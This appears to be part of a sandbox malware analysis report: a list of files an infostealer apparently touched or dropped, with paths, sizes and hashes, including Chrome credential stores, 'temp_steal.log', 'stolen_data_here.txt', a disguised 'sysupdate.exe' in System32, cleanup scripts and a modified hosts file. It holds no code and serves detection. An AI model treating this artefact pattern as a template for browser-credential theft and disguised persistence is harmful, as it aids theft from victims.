- SHA256 a7f8272da2ace134890a4758f23d6807a83f0520e724bd6f2115fa0016ea4b73
- MD5 eb8e14a8744e70b2eb2788712c077fa1
- SHA1 de6951c4ffa3f28d6f02b4ba3359b84501d8db97
- SHA512 b3684c2329969a8bf7f8b57509335e886b384a14c7ffd7ff047fcccafe6bfff3e3c79087a0f126ad385352aed6715dacfda6f23aefb8003904e771ab03617467
- TLSH T182C02B5F1239404DF6DDDBC50C043450CF0A5D9CC1E68DD04110E497A001432C0C2D84
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
- Size 144B
- SHA256 435eed6799710259bb7f686d2196a89b3201c912760f4cfbb9a8f86068502262
- MD5 7cb8195babffef67aba2f3aa9ce840e2
- SHA1 914720d51bdc8a669149f41d355457c91b42c139
- SHA512 b1a81da3c721563f9e0fc25bfd1f98bdb220ceab62b659a04dd98db69e25ddb2fb45d6e0f92165fc481745772881835184dcd23c7753ff132161c62d1936c2ca
- TLSH T1B9C01251D403F162C10603B5248ADC9C726CAF24DA15179C92F059359C36272841925A
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe59196a.TMP
- Size 96B
- SHA256 eddc81ebcb3c1d6b4236f38fde462e185001d7f9385984713f2e8cc0fe5834c0
- MD5 b291e0cee70897ad3a8c873641f5ed18
- SHA1 2f7996ccadd06b2278716cd6f05c027b8ff09d24
- SHA512 63f700f5966fb4261990864e90d6d493139f90c156dbf12474a72e3941953e9dfd46b99eaab267d903c0e880e828416a4e4fb430a12823fc194b02f2412df0dd
- TLSH T145B022A2C003A302C00203B0A0A080C8B030EF20EA03022383E02F23CC303F00830830
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 ec87cea8d3fbbb5f2dbf05b0d82313d94d8f9470158e76ca2a9cb00f8a0e2528
- MD5 4c4051f66b73420630a0fef749ee7b55
- SHA1 ce52f9895b48f2ed154ca23075efb3a2039bd066
- SHA512 250745a1c4878ce4cac8c805a3fcff6507c599b8a9891803046affa3226f86e950429135778021bffe8f1dfbd09b3ec19d0caf76a91a3d852cd7f204ce6431e6
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OrRf1fVumCnY:1nbZeMrv/hGtrRNenY
- TLSH T1DED3764B3A747002DDE69A721CE055BF5E3CB16D4F51A5D428B620688EF2863B23D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 200KB
- SHA256 a3da1afa7dc03cad91eadacbf3dcf60e6a67cce44385a1b7796a3d1102a72e83
- MD5 c716c9a98880ff8ae1771fca6599b84b
- SHA1 3aaca0f02d8346a2d6164e8137181f116cdbef3a
- SHA512 175ba32b70a003074127ee1d4083616b2461f04c51b3e5f9f4a97d73b91a0eeb56b5ea9bf4853f171682ad73d62e8cee045691ed1966e99c88787629c91d3a19
- SSDEEP 6144:nlRUhDlUtHJhjkeM4CerOk0HOGm/SFyEEe:nAhhUtjOerOjuGdF2e
- TLSH T1721413B7580B4FFB9D7E85A1749F1D09CE33429F74FAB4841168B68DB28454A2F22932
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 89KB
- SHA256 eaa2feb9e41b0ed237fb4aacaef701a047ce7ac12f44b3e273ed0e7dec712d42
- MD5 bb5b7809c61e215c8160f9fa03511876
- SHA1 951aba0d0de5c7ce37d65cb6d587fa63382da6e2
- SHA512 aa6ab117686a525954e14dab8e4c729a3ef4f321b065bb02bc7a71ec21f8ad6390ff3851773e856e9280fcd817af5ba9585a35ad81a5f09fe003a2b1e5a6d658
- SSDEEP 1536:0NncYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YEB:In3Qw/xLANk0mUW5GmRntSFCjEEN3
- TLSH T1379302BA4E1A46E7957E46C176AD7808CE12130D70AFA9CC316C639D61D41C92B73F73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 91KB
- SHA256 7bd1f2809f9ce98eb5cf12092e9e5f964e47ebd58290a47e9f32801bb4a4acbc
- MD5 35552af2e729e859278ddd6428265181
- SHA1 9a864f246c6f68ed8ff479126920d3b49b2cd2ab
- SHA512 86dcfe2124ab805d4da5205fe917f3df505f421f95df0402559d145daacfeacddad015d9b4fb271083c166988f507c37001cce432eb042f1d12faf7c5100a0aa
- SSDEEP 1536:o2TOcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9Y3:c3Qw/xLANk0mUW5GmRntSFCjEEN+
- TLSH T1699312BA9E2A49E765BE86D1766D7809CE12130D309FA9CC726C538C21D41CD2B73E33
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 199KB
- SHA256 c66ae0fd8e6cda127e9cec6d6743d31b056eb7ecd04c71f380e41eb67077980a
- MD5 3d8617ee872006d9a2f837d0ae79530f
- SHA1 84298031be89e1ee73130355213e74fbad3606a7
- SHA512 13372962dfb4c6ae996eb367e56419a44717dca6ebd57273a569c9c43b91a466168e0a15064f388ee0ab5cc1c42071afeff9a0e13bb20cfdb3c56fdc8d4849a9
- SSDEEP 6144:WlRUhDlUtHJhjkeM4CerOk0HOGm/SFyEEe:WAhhUtjOerOjuGdF2e
- TLSH T1EC1412BB490B0FFF9E7DC5B1749F1909CE23429D70FBB4941168B28DB2855862B62932
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\theguide.io_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dfe0wju4.snv.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 244B
- SHA256 8b51a726355be810c62df1f7e62ac5ee068ccbeaa43ad10d24dcf2857bd98f4c
- MD5 2df86437b78804bcdc4df7e389de61aa
- SHA1 98a7e2a763a037790d7d5c6acef6f409f9f906d4
- SHA512 9778ea8481d90d6e045dcf87fe23c94d94a0dcb8ab2a1c94aabbe996092e1d3082913bd1e0df7bb044f276d10f0311e9174af32e3cc1009f1dbdc1af1d9c7cb6
- TLSH T134D0A5CB724CC5A90005117F40F38D4CEDD1487C3F236D706555DD4E365144585F5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 147KB
- SHA256 e68fb2adedbacaa761c19cda5ed5044a571974044f9b866613467fa3dbd04c2e
- MD5 7ff2519702803c07ed8e30b9a9fe1607
- SHA1 afa887a017def09cecbbc5ba61c7b218171c10a5
- SHA512 a51c932960af62ebadb92e0f9c422a94775af380a9b573e559b68732e6a92c514c3e796b6f082b309ac384f13e7e7700b2d1c4e1c0d24f7b43cebc94b5f02dd1
- SSDEEP 1536:IykQPmFkL8MSI7jb+d5b+d5b+d5bl2v0HoVVdJ8ysp68jwHVxcGSztSXj5CR:IQPqkI66dcdcdybVXJ8xpsxIgXjAR
- TLSH T1D1E34E11C2F39E6B19C61AAB145637C0A139B7B096FD85FA20F66A73F0738B2C31D615
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 148KB
- SHA256 08309180bb26a6cb85014f08912ebc8e6594652d5feade56d05e3b4b645863b3
- MD5 3ce2c442a6c0d339bcaa75cca0a8acbc
- SHA1 9599c16b3f15c2463c5e4ae7bb115ddfff10caf0
- SHA512 99ebd6de7d3b0934c8cd1cf26e370bdeca4fa9e7ba965cbe699cabee261338a47e9aee69ac1a23a04c3ff7f426be070f122c7944281f0752baccc273bcd07a23
- SSDEEP 1536:q0ykQPmFkL8MSI7jb+d5b+d5b+d5bl2v0HoVVdJ8ysp68jwHVxcGSztSXj5CK:LQPqkI66dcdcdybVXJ8xpsxIgXjAK
- TLSH T12CE33D11C2F39E6B19C61BAB145637C0A139B7B096FD85FA20F66A63F0738B2C31D615
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 50KB
- SHA256 94891f10f79af6125f676002d626e651602703e1f7ba13ebf6713044f8734904
- MD5 7afc8f863a47b7b930e08f63dab293d8
- SHA1 ba63687cdf9de82e739920049e2bd0933448da74
- SHA512 38baabf06f96ded2d512ac9dc2c74ab5955da6ccbfeabc152a501b42f3380857c64854512da46b4cda30b0ca6544c8b3567bca529756ddd6f949ce2869cac95b
- SSDEEP 768:xdZRdbpCB2X4cB74qgIiTzuUW/U/Rgr4WC1XXGblfppAKFc5xs:PZ7IBjm8hIinpAUGr4WEXGblfLAucI
- TLSH T15633F74477FC8111F1BF9ABA89B185119B31F4939C22D79D0BD9058E1AB3740CDA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH